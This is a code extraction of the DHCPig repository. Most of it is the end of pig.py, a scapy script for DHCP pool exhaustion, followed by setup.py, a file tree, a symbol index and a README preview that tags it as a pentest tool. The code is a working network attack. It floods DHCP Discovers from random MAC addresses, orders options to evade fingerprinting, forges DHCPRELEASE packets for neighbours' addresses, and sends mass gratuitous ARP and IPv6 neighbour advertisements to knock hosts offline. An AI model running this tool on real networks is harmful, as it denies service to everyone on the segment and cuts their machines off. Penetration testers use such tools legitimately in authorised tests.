pool = Net(myip + "/" + calcCIDR(get_if_msk(conf.iface)))
for ip in pool:
LOG(type="<--", message="ARP: sending %s " %ip)
arp_request=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip, psrc=myip)
sendPacket(arp_request)
time.sleep(0.005)
def release():
"""
send release for our neighbors
"""
global dhcpsmac,dhcpsip,nodes,p_dhcp_advertise
if MODE_IPv6 and p_dhcp_advertise and DHCP6OptServerId in p_dhcp_advertise:
LOG(type="WARNING", message= " IPv6 - release() is not supported and supposed to be experimental - feel free to add code! ")
return
# we are releaseing client IDs!
m=randomMAC()
v6_build_release(p_dhcp_advertise,mac)
else:
LOG(type="NOTICE", message= "*** Sending DHCPRELEASE for neighbors ")
#iterate over all nodes and release their IP from DHCP server
for cmac,cip in nodes.items():
myxid = random.randint(1, 900000000)
LOG(type="-->", message= "Releasing %s - %s serverip=%s xid=%i"%(cmac,cip,dhcpsip,myxid))
dhcp_release = IP(src=cip,dst=dhcpsip)/UDP(sport=68,dport=67)/BOOTP(ciaddr=cip,chaddr=[mac2str(cmac)],xid=myxid)/\
DHCP(options=[("message-type","release"),("server_id",dhcpsip),("client_id",chr(1),mac2str(cmac)),"end"])
sendPacket(dhcp_release)
if conf.verb: LOG(type="DEBUG", message= "%r"%dhcp_release )
def garp():
"""
knock nodes offline
"""
global dhcpsip, subnet
if MODE_IPv6:
LOG(type="NOTICE", message="IPv6 - gratious_arp() not supported at this point ")
return
pool=Net6(dhcpsip+"/"+calcCIDR(subnet))
for ip in pool:
m=randomMAC()
# craft packet Ether/IPv6/ICMPv6_ND_NA/ICMPv6NDOptDstLLAddr
LL_ScopeALL_Multicast_Address="ff02::1"
arpp = Ether(src=m,dst="33:33:00:00:00:01")/IPv6(src=ip,dst=LL_ScopeALL_Multicast_Address)/ICMPv6ND_NA(tgt=ip,R=0)/ICMPv6NDOptDstLLAddr(lladdr="00:00:00:00:00:00")
sendPacket(arpp)
LOG(type="-->", message= "v6_ICMP_NeighborDiscovery - knock offline %s"%ip)
if conf.verb: LOG(type="DEBUG", message="%r"%arpp)
else:
pool = Net(dhcpsip+"/"+calcCIDR(subnet))
for ip in pool:
m = randomMAC()
arpp = Ether(src=m, dst="ff:ff:ff:ff:ff:ff")/ARP(hwsrc=m, psrc=ip, hwdst="00:00:00:00:00:00", pdst=ip)
sendPacket(arpp)
LOG(type="-->", message="Gratious_ARP - knock offline %s"%ip)
if conf.verb: LOG(type="DEBUG", message="%r"%arpp)
class send_dhcp(threading.Thread):
"""
loop and send Discovers
"""
def __init__(self):
threading.Thread.__init__(self)
self.kill_received = False
def run(self):
global TIMEOUT, dhcpdos, REQUEST_OPTS, ETHERNET_MAC
while not self.kill_received and not dhcpdos:
m = randomMAC()
myxid = random.randint(1, 900000000)
if ETHERNET_MAC:
mymac = m
else:
mymac = get_if_hwaddr(conf.iface)
hostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
# Mac OS options order to avoid DHCP fingerprinting
myoptions = [
("message-type", "discover"),
# Can replace numeric representation with DHCPRevOptions[],
# but not all parameters are defined in scapy. For full list see:
# https://www.iana.org/assignments/bootp-dhcp-parameters/bootp-dhcp-parameters.xhtml
('param_req_list',
1, # Subnet Mask DHCPRevOptions["subnet_mask"][0]
121, # Classless Satic Route
3, # Router DHCPRevOptions["router"][0]
6, # Domain Name Server DHCPRevOptions["name_server"][0]
15, # Domain Name DHCPRevOptions["domain"][0]
119, # Domain Seach
252, # Private/Proxy Autodiscovery
95, # LDAP
44, # NetBIOS over TCP/IP Name Server DHCPRevOptions["NetBIOS_server"][0]
46 # NetBIOS over TCP/IP Node Type
),
("max_dhcp_size",1500),
("client_id", chr(1), mac2str(m)),
("lease_time",10000),
("hostname", hostname),
("end",'00000000000000')
]
if MODE_IPv6:
dhcp_discover = v6_build_discover(m,trid=myxid,options=REQUEST_OPTS)
LOG(type="-->", message="v6_DHCP_Discover [cid:%s]"%(repr(str(dhcp_discover[DHCP6OptClientId].duid))))
else:
dhcp_discover = Ether(src=mymac,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(m)],xid=myxid,flags=0x8000)/DHCP(options=myoptions)
LOG(type="-->", message="DHCP_Discover")
sendPacket(dhcp_discover)
if TIMEOUT['timer']>0:
time.sleep(TIMEOUT['timer'])
class sniff_dhcp(threading.Thread):
"""
sniff DHCP Offers and ACK
"""
def __init__(self):
threading.Thread.__init__(self)
if MODE_IPv6:
self.filter = "icmp6 or (udp and src port 547 and dst port 546)"
else:
self.filter = "arp or icmp or (udp and src port 67 and dst port 68)"
self.kill_received = False
self.dhcpcount = 0
def run(self):
global dhcpdos
while not self.kill_received and not dhcpdos:
sniff(filter=self.filter, prn=self.detect_dhcp, store=0, timeout=3, iface=conf.iface)
if self.dhcpcount>0 : LOG(type="NOTICE", message="timeout waiting on dhcp packet count %d"%self.dhcpcount)
self.dhcpcount += 1
if not MODE_FUZZ and self.dhcpcount==5: dhcpdos = True
@staticmethod
def get_server_identifier(bootp_siaddr: str, dhcp_options: list) -> str:
for opt in dhcp_options:
if opt[0] == 'server_id':
return opt[1]
return bootp_siaddr
def detect_dhcp(self, pkt):
global dhcpsmac,dhcpsip,subnet,SHOW_ARP,SHOW_DHCPOPTIONS,SHOW_ICMP,DO_v6_RC,p_dhcp_advertise, SHOW_LEASE_CONFIRM,REQUEST_OPTS, ETHERNET_MAC
if MODE_IPv6:
if DHCP6_Advertise in pkt:
self.dhcpcount = 0
if DHCP6OptIAAddress in pkt and DHCP6OptServerId in pkt:
p_dhcp_advertise = pkt
myip = pkt[DHCP6OptIAAddress].addr
sip = repr(pkt[DHCP6OptServerId].duid.lladdr)
cip = repr(pkt[DHCP6OptClientId].duid.lladdr)
myhostname = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
LOG(type="<--", message=("v6 ADVERTISE FROM [%s] -> [%s] - LEASE: IPv6[%s]"%(sip,cip,myip)))
if SHOW_DHCPOPTIONS:
b = pkt[DHCP6_Advertise]
b=str(b.show)
for h in b.split("|<"):
LOG(type="DEBUG",message="\t* %s"%h)
if not DO_v6_RC:
# we dont need to request the address if we're using rapid commit mode (2 message: solict / reply)
dhcp_req=v6_build_request(pkt,options=REQUEST_OPTS)
sendPacket(dhcp_req)
LOG(type="-->", message= "v6 REQUEST ACK IPv6[%s]\n"%myip)
elif SHOW_LEASE_CONFIRM and DHCP6_Reply in pkt :
myip=pkt[DHCP6OptIAAddress].addr
sip=repr(pkt[DHCP6OptServerId].duid.lladdr)
cip=repr(pkt[DHCP6OptClientId].duid.lladdr)
LOG(type="<-", message=("v6 DHCP REPLY FROM [%s] -> [%s] - LEASE: IPv6[%s]"%(sip,cip,myip)))
elif SHOW_ICMP and ICMPv6ND_NS in pkt and ICMPv6NDOptSrcLLAddr in pkt :
LOG(type="<-", message= "v6 ICMP REQUEST FROM [%s] -> [%s]"%(pkt[ICMPv6NDOptSrcLLAddr].lladdr,pkt[ICMPv6ND_NS].tgt))
else:
if DHCP in pkt:
if pkt[DHCP] and pkt[DHCP].options[0][1] == 2:
self.dhcpcount=0
dhcpsip = pkt[IP].src
dhcpsmac = pkt[Ether].src
for opt in pkt[DHCP].options:
if opt[0] == 'subnet_mask':
subnet=opt[1]
break
myip=pkt[BOOTP].yiaddr
sip=self.get_server_identifier(pkt[BOOTP].siaddr, pkt[DHCP].options)
localxid=pkt[BOOTP].xid
localm=unpackMAC(pkt[BOOTP].chaddr)
if ETHERNET_MAC:
mymac = localm
else:
mymac = get_if_hwaddr(conf.iface)
myhostname=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8))
LOG(type="<--", message= "DHCP_Offer " + pkt[Ether].src +"\t"+sip + " IP: "+myip+" for MAC=["+localm+"]")
if SHOW_DHCPOPTIONS:
b = pkt[BOOTP]
LOG(type="DEBUG", message= "\t* xid=%s"%repr(b.xid))
LOG(type="DEBUG", message= "\t* CIaddr=%s"%repr(b.ciaddr) )
LOG(type="DEBUG", message= "\t* YIaddr=%s"%repr(b.yiaddr) )
LOG(type="DEBUG", message= "\t* SIaddr=%s"%repr(b.siaddr) )
LOG(type="DEBUG", message= "\t* GIaddr=%s"%repr(b.giaddr) )
LOG(type="DEBUG", message= "\t* CHaddr=%s"%repr(b.chaddr) )
LOG(type="DEBUG", message= "\t* Sname=%s"%repr(b.sname) )
for o in pkt[DHCP].options:
if isinstance(o,str):
if o=="end": break #supress spam paddings :)
LOG(type="DEBUG", message= "\t\t* "+repr(o) )
else:
LOG(type="DEBUG", message= "\t\t* %s\t%s"%(o[0],o[1:]) )
# ("param_req_list",0) is the equivalent of using DHCPRevOptions["pad"][0]
dhcp_req = Ether(src=mymac,dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=[mac2str(localm)],xid=localxid,flags=0x8000)/DHCP(options=[("message-type","request"),("server_id",sip),("requested_addr",myip),("hostname",myhostname),("param_req_list",0),"end"])
LOG(type="-->", message= "DHCP_Request "+myip)
sendPacket(dhcp_req)
elif SHOW_LEASE_CONFIRM and pkt[DHCP] and pkt[DHCP].options[0][1] == 5:
myip=pkt[BOOTP].yiaddr
sip=self.get_server_identifier(pkt[BOOTP].siaddr, pkt[DHCP].options)
LOG(type="<-", message= "DHCP_ACK " + pkt[Ether].src +"\t"+sip + " IP: "+myip+" for MAC=["+pkt[Ether].dst+"]")
elif ICMP in pkt:
if pkt[ICMP].type==8:
myip=pkt[IP].dst
mydst=pkt[IP].src
if SHOW_ICMP: LOG(type="<-", message= "ICMP_Request "+mydst+" for "+myip )
icmp_req=Ether(src=randomMAC(),dst=pkt.src)/IP(src=myip,dst=mydst)/ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)/"12345678912345678912"
if conf.verb:
LOG(type="DEBUG", message= "%r"%icmp_req )
sendPacket(icmp_req)
elif SHOW_ARP and ARP in pkt:
myip = pkt[ARP].pdst
mydst = pkt[ARP].psrc
if pkt[ARP].op ==1: #op=1 who has, 2 is at
LOG(type="DEBUG", message="ARP_Request " + myip + " from " + mydst)
elif pkt[ARP].op ==2:
myip=pkt[ARP].psrc
myhw=pkt[ARP].hwsrc
LOG(type="<-", message= "ARP_Response %s : %s" %(myip, myhw))
nodes[myhw] = myip
def main():
"""
"""
global THREAD_POOL,dhcpdos,dhcpsip,dhcpsmac,subnet,nodes,THREAD_CNT,p_dhcp_advertise
checkArgs()
LOG(type="NOTICE", message= "[INFO] - using interface %s"%conf.iface)
signal.signal(signal.SIGINT, signal_handler)
dhcpsip=None
dhcpsmac=None
subnet=None
nodes={}
dhcpdos=False
p_dhcp_advertise = None # contains dhcp advertise pkt once it is received (base for creating release())
LOG(type="DEBUG",message="Thread %d - (Sniffer) READY"%len(THREAD_POOL))
t=sniff_dhcp()
t.start()
THREAD_POOL.append(t)
for i in range(THREAD_CNT):
LOG(type="DEBUG",message="Thread %d - (Sender) READY"%len(THREAD_POOL))
t=send_dhcp()
t.start()
THREAD_POOL.append(t)
fail_cnt=20
while dhcpsip==None and fail_cnt>0:
time.sleep(TIMEOUT['dhcpip'])
LOG(type="?", message= "\t\twaiting for first DHCP Server response")
fail_cnt-=1
if fail_cnt==0:
LOG(type="NOTICE", message= "[FAIL] No DHCP offers detected - aborting")
signal_handler(signal.SIGINT,fail_cnt)
if DO_ARP: neighbors()
if DO_RELEASE: release()
while not dhcpdos:
time.sleep(TIMEOUT['dos'])
LOG(type="?", message= " \t\twaiting for DHCP pool exhaustion...")
if DO_GARP:
LOG(type="NOTICE", message= "[INFO] waiting %s to mass grat.arp!"%TIMEOUT['dos'])
time.sleep(TIMEOUT['dos'])
garp()
LOG(type="NOTICE", message= "[DONE] DHCP pool exhausted!")
def usage():
print(__doc__)
if __name__ == '__main__':
main()
print("\n")
================================================
FILE: setup.py
================================================
#!/usr/bin/python
# setup.py Authors:
# Philippe Thierry <phil@reseau-libre.net>
import os
import os.path
from distutils.core import setup
setup(
name="dhcpig",
author="Kevin Amorin",
description="DHCP exhaustion script using scapy network library",
license="GPL2+",
url="https://github.com/kamorin/DHCPig",
scripts=[
("pig.py")
],
)
gitextract_2g4e905f/ ├── README.md ├── dhcpig.1 ├── pig.py └── setup.py
SYMBOL INDEX (30 symbols across 1 files)
FILE: pig.py
class Colors (line 53) | class Colors:
class Palette (line 54) | class Palette:
function checkArgs (line 152) | def checkArgs():
function LOG (line 262) | def LOG(message=None, type=None):
function signal_handler (line 285) | def signal_handler(signal, frame):
function randomMAC (line 296) | def randomMAC():
function toNum (line 310) | def toNum(ip):
function get_if_net (line 315) | def get_if_net(iff):
function get_if_msk (line 322) | def get_if_msk(iff):
function get_if_ip (line 329) | def get_if_ip(iff):
function calcCIDR (line 336) | def calcCIDR(mask):
function unpackMAC (line 348) | def unpackMAC(binmac):
function v6_build_ether (line 367) | def v6_build_ether(mac):
function v6_build_discover (line 382) | def v6_build_discover(mac,trid=None,options=[23,24]):
function v6_build_request (line 392) | def v6_build_request(p_advertise,iaid=0xf,trid=None,options=[23,24]):
function v6_build_release (line 401) | def v6_build_release(p_advertise,mac,iaid=0xf,trid=None):
function sendPacket (line 410) | def sendPacket(pkt):
function neighbors (line 418) | def neighbors():
function release (line 437) | def release():
function garp (line 460) | def garp():
class send_dhcp (line 487) | class send_dhcp(threading.Thread):
method __init__ (line 491) | def __init__(self):
method run (line 495) | def run(self):
class sniff_dhcp (line 540) | class sniff_dhcp(threading.Thread):
method __init__ (line 544) | def __init__(self):
method run (line 553) | def run(self):
method get_server_identifier (line 562) | def get_server_identifier(bootp_siaddr: str, dhcp_options: list) -> str:
method detect_dhcp (line 569) | def detect_dhcp(self, pkt):
function main (line 670) | def main():
function usage (line 719) | def usage():
Condensed preview — 4 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (48K chars).
[
{
"path": "README.md",
"chars": 13300,
"preview": "DHCPig\n======\n\nTags#: DHCP, IPv4, IPv6, exhaustion, pentest, fuzzing, security, scapy\n\nSUMMARY\n-------\n\nDHCPig initiates"
},
{
"path": "dhcpig.1",
"chars": 3176,
"preview": ".TH \"DHCPIG\" \"1\" \" DHCPig Man Page\" \"Philippe Thierry\" \"June 2017\" \n.nh\n.ad l\n\n\n.SH NAME\n.PP\ndhcpig \\- DHCP exhaustion s"
},
{
"path": "pig.py",
"chars": 28715,
"preview": "#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nenhanced DHCP exhaustion attack.\n\nDoc:\n http://github.com/kamorin"
},
{
"path": "setup.py",
"chars": 376,
"preview": "#!/usr/bin/python\n\n# setup.py Authors:\n# Philippe Thierry <phil@reseau-libre.net>\n\nimport os\nimport os.path\n\nfrom dist"
}
]
About this extraction
This page contains the full source code of the kamorin/DHCPig GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 4 files (44.5 KB), approximately 13.9k tokens, and a symbol index with 30 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.